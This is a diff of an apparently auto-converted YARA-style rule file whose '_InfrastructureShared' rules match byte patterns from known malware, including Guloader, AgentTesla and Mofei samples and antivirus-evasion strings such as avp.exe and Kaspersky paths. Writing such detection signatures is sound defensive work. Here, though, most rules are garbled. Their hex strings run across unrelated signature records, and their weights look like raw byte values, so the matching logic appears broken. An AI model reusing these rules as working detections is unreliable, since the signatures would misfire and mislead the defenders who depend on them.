81 01 47 65 74 43 50 49 6e 66 6f 01 00 0e 81 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0d 81 01 6f 76 70 29 6e 6c 66 64 7e 2f 6a 66 6a 01 00 0d 81 01 65 61 6b 62 6e 67 73 64 73 2a 66 68 6f 01 00 11 81 01 42 6d 6f 68 63 67 75 6a 6d 6a 3b 26 61 6d 6e 77 64 01 00 0b 81 01 42 65 62 64 71 70 3f 21 28 2d 2b 00 } //30720 + $a_2e_3 = {78 65 00 00 78 cf 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 56 30 31 21 4d 54 42 00 01 00 15 81 01 73 74 76 6e 69 6e 67 73 76 61 72 73 6c 65 72 6e 65 2e 69 6e 69 01 00 20 81 01 61 66 6d 72 6b 6e 69 6e 67 65 72 20 62 65 61 61 6e 64 69 6e 67 65 72 6e 65 20 6c 65 67 61 63 } //24948 + $a_6b_5 = {20 74 72 6f 70 69 63 61 6c 69 73 65 20 6c 6f 70 01 00 10 81 01 65 6d 61 6e 65 72 65 74 20 62 61 62 79 69 73 6d 01 00 0b 81 01 72 69 67 73 76 61 61 62 65 6e 73 01 00 0e 81 01 66 72 65 65 73 74 6f 6e 65 73 2e 65 78 65 01 00 12 81 01 61 6b 74 69 6f 6e 72 65 72 73 20 62 65 77 61 69 6c 73 00 00 } //29441 + $a_00_7 = {07 00 21 23 48 53 54 } //7 + $a_69_8 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 51 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6c 69 62 65 72 61 6c 69 74 65 74 01 00 0c 81 01 74 65 6b 74 6f 73 69 20 70 61 61 6c 01 00 0a 81 01 6d 61 72 6b 65 64 73 66 72 74 01 00 1a 81 01 73 70 6f 6c 65 72 69 6e 67 65 } //14930 condition: - ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*12590+(#a_65_2 & 1)*25972+(#a_2e_3 & 1)*24948+(#a_72_4 & 1)*26478+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720) >=6 + ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*12590+(#a_65_2 & 1)*25972+(#a_2e_3 & 1)*24948+(#a_6b_5 & 1)*29441+(#a_00_7 & 1)*7+(#a_69_8 & 1)*14930) >=6 } -rule _InfrastructureShared_14069{ +rule _InfrastructureShared_14997{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 56 30 31 21 4d 54 42 00 01 00 15 81 01 73 74 76 6e 69 6e 67 73 76 61 72 73 6c 65 72 6e 65 2e 69 6e 69 01 00 20 81 01 61 66 6d 72 6b 6e 69 6e 67 65 72 20 62 65 61 61 6e 64 69 6e 67 65 72 6e 65 20 } //18467 + $a_61_1 = {79 01 00 14 81 01 73 61 6b 69 20 74 72 6f 70 69 63 61 6c 69 73 65 20 6c 6f 70 01 00 10 81 01 65 6d 61 6e 65 72 65 74 20 62 61 62 79 69 73 6d 01 00 0b 81 01 72 69 67 73 76 61 61 62 65 6e 73 01 00 0e 81 01 66 72 65 65 73 74 6f 6e 65 73 2e 65 78 65 01 00 12 81 01 61 6b 74 69 6f 6e 72 65 72 73 20 62 65 77 61 69 } //25964 + $a_00_4 = {07 00 21 23 48 53 54 } //7 + $a_69_5 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 51 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6c 69 62 65 72 61 6c 69 74 65 74 01 00 0c 81 01 74 65 6b 74 6f 73 69 20 70 61 61 6c 01 00 0a 81 01 6d 61 72 6b 65 64 73 66 72 74 01 00 1a 81 01 73 70 6f 6c 65 72 69 6e 67 65 } //14930 + $a_20_6 = {68 79 74 6f 63 68 65 6d 69 73 74 01 00 19 81 01 28 28 5c 73 70 65 72 61 62 6c 65 5c 48 61 76 61 72 65 72 32 30 2e 74 75 72 01 00 10 81 01 24 24 5c 61 63 72 6f 6e 69 63 61 6c 2e 53 6b 6f 01 00 1e 81 01 38 38 5c 64 75 66 72 65 6e 69 74 65 5c 68 61 6b 6e 69 6e 67 65 6e 73 2e 55 6e 6f 31 39 30 00 00 78 cf } //28274 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25964+(#a_00_4 & 1)*7+(#a_69_5 & 1)*14930+(#a_20_6 & 1)*28274) >=7 + +} +rule _InfrastructureShared_14998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -160230,7 +171008,7 @@ rule _InfrastructureShared_14069{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27759+(#a_30_2 & 1)*12655+(#a_5f_3 & 1)*25959+(#a_00_5 & 1)*104+(#a_78_6 & 1)*25710) >=7 } -rule _InfrastructureShared_14070{ +rule _InfrastructureShared_14999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -160246,7 +171024,7 @@ rule _InfrastructureShared_14070{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29249+(#a_00_3 & 1)*8+(#a_63_4 & 1)*27714+(#a_20_5 & 1)*29537+(#a_54_6 & 1)*8528+(#a_6e_7 & 1)*29300) >=8 } -rule _InfrastructureShared_14071{ +rule _InfrastructureShared_15000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -160263,7 +171041,7 @@ rule _InfrastructureShared_14071{ ((#a_41_0 & 1)*20515+(#a_76_1 & 1)*384+(#a_5c_2 & 1)*25972+(#a_72_3 & 1)*30019+(#a_65_4 & 1)*11891+(#a_66_5 & 1)*18800+(#a_64_6 & 1)*28269+(#a_75_7 & 1)*384) >=8 } -rule _InfrastructureShared_14072{ +rule _InfrastructureShared_15001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -160274,13 +171052,13 @@ rule _InfrastructureShared_14072{ $a_79_3 = {65 57 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0d 81 01 6f 76 70 29 6e 6c 66 64 7e 2f 6a 66 6a 01 00 0d 81 01 65 61 6b 62 6e 67 73 64 73 2a 66 68 6f 01 00 11 81 01 42 6d 6f 68 63 67 75 6a 6d 6a 3b 26 61 6d 6e 77 64 01 00 } //26478 $a_42_4 = {62 } //-32501 b $a_3f_5 = {28 2d 2b 00 00 78 cf 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 55 21 4d 54 42 00 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 07 80 01 52 65 76 65 72 73 65 01 00 09 80 01 53 75 62 } //29028 - $a_69_6 = {67 01 00 07 80 01 47 65 74 54 79 70 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 01 00 0a 80 01 47 72 61 70 68 46 6f 72 6d 5a 01 00 20 80 01 4d 61 74 72 69 78 5f 47 72 61 70 68 2e 47 72 61 70 68 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 00 00 78 cf 00 00 0a 00 0a 00 03 00 21 23 54 45 4c } //29811 - $a_6f_7 = {61 6e 3a 57 33 32 2f 4d 6f 66 65 69 2e 50 47 4d 21 4d 54 42 00 02 00 28 01 2e 64 61 74 61 00 00 00 d4 14 00 00 00 40 00 00 00 06 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 03 00 32 01 77 6d 63 73 65 72 76 2e 65 78 65 00 24 73 5c 73 79 73 74 65 6d 33 32 5c 26 73 41 00 4d 54 42 54 52 2d 44 57 45 00 00 00 2d 70 00 00 2d } //21562 + $a_69_6 = {67 01 00 07 80 01 47 65 74 54 79 70 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 01 00 0a 80 01 47 72 61 70 68 46 6f 72 6d 5a 01 00 20 80 01 4d 61 74 72 69 78 5f 47 72 61 70 68 2e 47 72 61 70 68 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 00 00 78 cf 00 00 0c 00 0c 00 0c 00 21 23 54 45 4c } //29811 + $a_6f_7 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 50 21 4d 54 42 00 01 00 0b 80 01 67 65 74 5f 55 6e 69 74 79 33 44 01 00 05 80 01 52 6f 75 6e 64 01 00 09 80 01 54 6f 6b 65 6e 69 7a 65 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 09 80 01 47 65 74 4f 62 6a 65 63 74 01 00 07 80 01 4c 61 74 65 47 65 74 01 00 0e 80 01 49 } //21562 condition: ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*17524+(#a_75_2 & 1)*29541+(#a_79_3 & 1)*26478+(#a_42_4 & 1)*-32501+(#a_3f_5 & 1)*29028+(#a_69_6 & 1)*29811+(#a_6f_7 & 1)*21562) >=8 } -rule _InfrastructureShared_14073{ +rule _InfrastructureShared_15002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -160291,14 +171069,14 @@ rule _InfrastructureShared_14073{ $a_42_3 = {6f } //-32495 o $a_75_4 = {6d 6a 3b 26 61 6d 6e 77 64 01 00 0b 81 01 42 65 62 64 71 70 3f 21 28 2d 2b 00 00 78 cf 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 55 21 4d 54 42 00 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 } //25448 $a_6e_5 = {65 73 73 61 67 65 01 00 07 80 01 52 65 76 65 72 73 65 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 01 00 0a 80 01 47 72 61 70 68 46 6f 72 6d 5a 01 00 20 80 01 4d 61 74 72 69 78 5f 47 72 61 70 68 2e 47 72 61 70 68 } //30068 - $a_6d_6 = {72 65 73 6f 75 72 63 65 73 00 00 78 cf 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 33 32 2f 4d 6f 66 65 69 2e 50 47 4d 21 4d 54 42 00 02 00 28 01 2e 64 61 74 61 00 00 00 d4 14 00 00 00 40 00 00 00 06 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 03 00 32 01 77 6d 63 73 65 72 76 2e 65 78 65 00 24 73 } //28486 - $a_73_7 = {65 6d 33 32 5c 26 73 41 00 4d 54 42 54 52 2d 44 57 45 00 00 00 2d 70 00 00 2d 76 00 00 2d 64 05 00 42 01 5c 61 76 70 2e 65 78 65 00 00 00 00 4b 49 53 38 00 4b 41 56 38 00 4b 49 53 37 00 4b 41 56 37 00 53 4f 46 54 57 41 52 45 5c 4b 61 73 70 65 72 73 6b 79 4c 61 62 5c 53 65 74 75 70 46 6f 6c 64 65 72 73 00 00 78 cf 00 00 0c 00 0c 00 0c 00 21 23 54 45 4c 3a 54 72 } //29532 - $a_6e_8 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 50 21 4d 54 42 00 01 00 0b 80 01 67 65 74 5f 55 6e 69 74 79 33 44 01 00 05 80 01 52 6f 75 6e 64 01 00 09 80 01 54 6f 6b 65 6e 69 7a 65 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 09 80 01 47 65 74 4f 62 6a 65 63 74 01 00 07 80 } //27247 + $a_6d_6 = {72 65 73 6f 75 72 63 65 73 00 00 78 cf 00 00 0c 00 0c 00 0c 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 50 21 4d 54 42 00 01 00 0b 80 01 67 65 74 5f 55 6e 69 74 79 33 44 01 00 05 80 01 52 6f 75 6e 64 01 00 09 80 01 54 6f 6b 65 6e 69 7a 65 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 } //28486 + $a_01_7 = {47 65 74 4f 62 6a 65 63 74 01 00 07 80 01 4c 61 74 65 47 65 74 01 00 0e 80 01 49 74 65 72 61 74 69 6f 6e 43 6f 75 6e 74 01 00 0c 80 01 50 61 73 73 77 6f 72 64 74 65 78 74 01 00 05 80 01 4c 6f 67 69 6e 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 06 80 01 44 61 74 61 5f 31 01 00 08 80 01 47 65 74 54 79 70 65 73 00 00 78 cf 00 00 0d 00 0d 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //2304 + $a_4c_8 = {41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 59 21 4d 54 42 00 0a 00 4c 02 17 da 13 06 16 0d 2b 90 01 01 08 6f 90 01 04 17 da 13 07 16 13 04 2b 90 01 01 08 09 11 04 6f 90 01 04 13 08 08 09 11 04 6f 90 01 04 13 09 11 09 28 } //21325 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28518+(#a_65_2 & 1)*385+(#a_42_3 & 1)*-32495+(#a_75_4 & 1)*25448+(#a_6e_5 & 1)*30068+(#a_6d_6 & 1)*28486+(#a_73_7 & 1)*29532+(#a_6e_8 & 1)*27247) >=9 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28518+(#a_65_2 & 1)*385+(#a_42_3 & 1)*-32495+(#a_75_4 & 1)*25448+(#a_6e_5 & 1)*30068+(#a_6d_6 & 1)*28486+(#a_01_7 & 1)*2304+(#a_4c_8 & 1)*21325) >=9 } -rule _InfrastructureShared_14074{ +rule _InfrastructureShared_15003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -160310,25 +171088,13 @@ rule _InfrastructureShared_14074{ $a_80_4 = {45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 } //EqualityComparer 1 $a_80_5 = {47 72 61 70 68 46 6f 72 6d 5a } //GraphFormZ 1 $a_80_6 = {4d 61 74 72 69 78 5f 47 72 61 70 68 2e 47 72 61 70 68 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 } //Matrix_Graph.GraphForm.resources 1 - $a_cf_7 = {00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 33 32 2f 4d 6f 66 65 69 2e 50 47 4d 21 4d 54 42 00 02 00 28 01 2e 64 61 74 61 00 00 00 d4 14 00 00 00 40 00 00 00 06 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 03 00 32 01 77 6d 63 73 65 72 76 2e 65 78 65 00 24 73 5c 73 79 73 74 65 6d 33 32 5c 26 73 41 00 4d 54 42 54 52 2d } //0 - $a_00_8 = {00 00 2d 70 00 00 2d 76 00 00 2d 64 05 00 42 01 5c 61 76 70 2e 65 78 65 00 00 00 00 4b 49 53 38 00 4b 41 56 38 00 4b 49 53 37 00 4b 41 56 37 00 53 4f 46 54 57 41 52 45 5c 4b 61 73 70 65 72 73 6b 79 4c 61 62 } //22340 + $a_cf_7 = {00 0c 00 0c 00 0c 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 50 21 4d 54 42 00 01 00 0b 80 01 67 65 74 5f 55 6e 69 74 79 33 44 01 00 05 80 01 52 6f 75 6e 64 01 00 09 80 01 54 6f 6b 65 6e 69 7a 65 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 09 80 01 47 65 74 4f 62 6a 65 63 74 01 00 07 80 01 4c 61 } //0 + $a_65_8 = {01 00 0e 80 01 49 74 65 72 61 74 69 6f 6e 43 6f 75 6e 74 01 00 0c 80 01 50 61 73 73 77 6f 72 64 74 65 78 74 01 00 05 80 01 4c 6f 67 69 6e 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 06 80 01 44 61 74 61 5f 31 01 00 08 } //25972 condition: - ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_cf_7 & 1)*0+(#a_00_8 & 1)*22340) >=9 + ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_cf_7 & 1)*0+(#a_65_8 & 1)*25972) >=9 } -rule _InfrastructureShared_14075{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 33 32 2f 4d 6f 66 65 69 2e 50 47 4d 21 4d 54 42 00 02 00 28 01 2e 64 61 74 61 00 00 00 d4 14 00 00 00 40 00 00 00 06 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 } //21539 - $a_01_1 = {77 6d 63 73 65 72 76 2e 65 78 65 00 24 73 5c 73 79 73 74 65 6d 33 32 5c 26 73 41 00 4d 54 42 54 52 2d 44 57 45 00 00 00 2d 70 00 00 2d 76 00 00 2d 64 } //3 - $a_01_2 = {5c 61 76 70 2e 65 78 65 00 00 00 00 4b 49 53 38 00 4b 41 56 38 00 4b 49 53 37 00 4b 41 56 37 00 53 4f 46 54 57 41 52 45 5c 4b 61 73 70 65 72 73 6b 79 4c 61 62 5c 53 65 74 75 70 46 6f 6c 64 65 72 73 } //5 - condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*3+(#a_01_2 & 1)*5) >=10 - -} -rule _InfrastructureShared_14076{ +rule _InfrastructureShared_15004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -160348,7 +171114,7 @@ rule _InfrastructureShared_14076{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*29285+(#a_65_2 & 1)*384+(#a_4c_3 & 1)*-32763+(#a_00_4 & 1)*28265+(#a_6e_5 & 1)*384+(#a_42_6 & 1)*19745+(#a_74_7 & 1)*26369+(#a_4d_8 & 1)*30273+(#a_00_9 & 1)*101+(#a_2e_10 & 1)*24943) >=12 } -rule _InfrastructureShared_14077{ +rule _InfrastructureShared_15005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -160362,7 +171128,7 @@ rule _InfrastructureShared_14077{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2321+(#a_64_2 & 1)*29795+(#a_4d_3 & 1)*16964+(#a_11_4 & 1)*5012) >=13 } -rule _InfrastructureShared_14078{ +rule _InfrastructureShared_15006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -160373,7 +171139,7 @@ rule _InfrastructureShared_14078{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*1553) >=14 } -rule _InfrastructureShared_14079{ +rule _InfrastructureShared_15007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -160384,7 +171150,7 @@ rule _InfrastructureShared_14079{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111) >=15 } -rule _InfrastructureShared_14080{ +rule _InfrastructureShared_15008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -160399,7 +171165,7 @@ rule _InfrastructureShared_14080{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5910+(#a_73_2 & 1)*21620+(#a_26_3 & 1)*400+(#a_01_5 & 1)*1792+(#a_81_6 & 1)*1) >=16 } -rule _InfrastructureShared_14081{ +rule _InfrastructureShared_15009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -160413,7 +171179,7 @@ rule _InfrastructureShared_14081{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1041+(#a_00_2 & 1)*24+(#a_65_3 & 1)*29806+(#a_2d_4 & 1)*14642) >=18 } -rule _InfrastructureShared_14082{ +rule _InfrastructureShared_15010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -160428,7 +171194,7 @@ rule _InfrastructureShared_14082{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*13925+(#a_53_2 & 1)*21505+(#a_04_3 & 1)*-28672+(#a_90_4 & 1)*-28648+(#a_8b_5 & 1)*6288) >=24 } -rule _InfrastructureShared_14083{ +rule _InfrastructureShared_15011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -160438,7 +171204,7 @@ rule _InfrastructureShared_14083{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14084{ +rule _InfrastructureShared_15012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -160448,7 +171214,7 @@ rule _InfrastructureShared_14084{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14085{ +rule _InfrastructureShared_15013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -160458,7 +171224,7 @@ rule _InfrastructureShared_14085{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14086{ +rule _InfrastructureShared_15014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -160468,7 +171234,7 @@ rule _InfrastructureShared_14086{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14087{ +rule _InfrastructureShared_15015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -160479,7 +171245,7 @@ rule _InfrastructureShared_14087{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*20335) >=1 } -rule _InfrastructureShared_14088{ +rule _InfrastructureShared_15016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -160490,7 +171256,7 @@ rule _InfrastructureShared_14088{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32) >=1 } -rule _InfrastructureShared_14089{ +rule _InfrastructureShared_15017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -160503,7 +171269,7 @@ rule _InfrastructureShared_14089{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*26953+(#a_74_2 & 1)*-13311+(#a_6f_3 & 1)*8299) >=1 } -rule _InfrastructureShared_14090{ +rule _InfrastructureShared_15018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -160517,7 +171283,7 @@ rule _InfrastructureShared_14090{ ((#a_77_0 & 1)*19491+(#a_74_1 & 1)*25961+(#a_61_2 & 1)*17220+(#a_00_4 & 1)*19770+(#a_06_5 & 1)*29190) >=1 } -rule _InfrastructureShared_14091{ +rule _InfrastructureShared_15019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -160528,7 +171294,7 @@ rule _InfrastructureShared_14091{ ((#a_46_0 & 1)*16675+(#a_ad_1 & 1)*1553) >=2 } -rule _InfrastructureShared_14092{ +rule _InfrastructureShared_15020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -160539,7 +171305,7 @@ rule _InfrastructureShared_14092{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28535) >=2 } -rule _InfrastructureShared_14093{ +rule _InfrastructureShared_15021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -160550,7 +171316,7 @@ rule _InfrastructureShared_14093{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*4497) >=2 } -rule _InfrastructureShared_14094{ +rule _InfrastructureShared_15022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -160561,7 +171327,7 @@ rule _InfrastructureShared_14094{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*6912) >=2 } -rule _InfrastructureShared_14095{ +rule _InfrastructureShared_15023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -160571,7 +171337,7 @@ rule _InfrastructureShared_14095{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14096{ +rule _InfrastructureShared_15024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -160585,7 +171351,7 @@ rule _InfrastructureShared_14096{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29812+(#a_00_3 & 1)*0+(#a_41_4 & 1)*8448+(#a_78_5 & 1)*24428) >=2 } -rule _InfrastructureShared_14097{ +rule _InfrastructureShared_15025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160597,7 +171363,7 @@ rule _InfrastructureShared_14097{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*21550+(#a_72_2 & 1)*385) >=3 } -rule _InfrastructureShared_14098{ +rule _InfrastructureShared_15026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160608,7 +171374,7 @@ rule _InfrastructureShared_14098{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_14099{ +rule _InfrastructureShared_15027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160620,7 +171386,7 @@ rule _InfrastructureShared_14099{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*24433+(#a_23_2 & 1)*3) >=3 } -rule _InfrastructureShared_14100{ +rule _InfrastructureShared_15028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160631,7 +171397,7 @@ rule _InfrastructureShared_14100{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5896) >=3 } -rule _InfrastructureShared_14101{ +rule _InfrastructureShared_15029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160641,7 +171407,7 @@ rule _InfrastructureShared_14101{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14102{ +rule _InfrastructureShared_15030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160653,7 +171419,7 @@ rule _InfrastructureShared_14102{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_00_2 & 1)*-11683) >=3 } -rule _InfrastructureShared_14103{ +rule _InfrastructureShared_15031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160664,7 +171430,7 @@ rule _InfrastructureShared_14103{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=3 } -rule _InfrastructureShared_14104{ +rule _InfrastructureShared_15032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -160676,7 +171442,7 @@ rule _InfrastructureShared_14104{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*111+(#a_54_2 & 1)*27749) >=3 } -rule _InfrastructureShared_14105{ +rule _InfrastructureShared_15033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -160689,7 +171455,7 @@ rule _InfrastructureShared_14105{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*105+(#a_00_3 & 1)*3+(#a_48_4 & 1)*26982) >=3 } -rule _InfrastructureShared_14106{ +rule _InfrastructureShared_15034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -160702,7 +171468,7 @@ rule _InfrastructureShared_14106{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*32+(#a_23_3 & 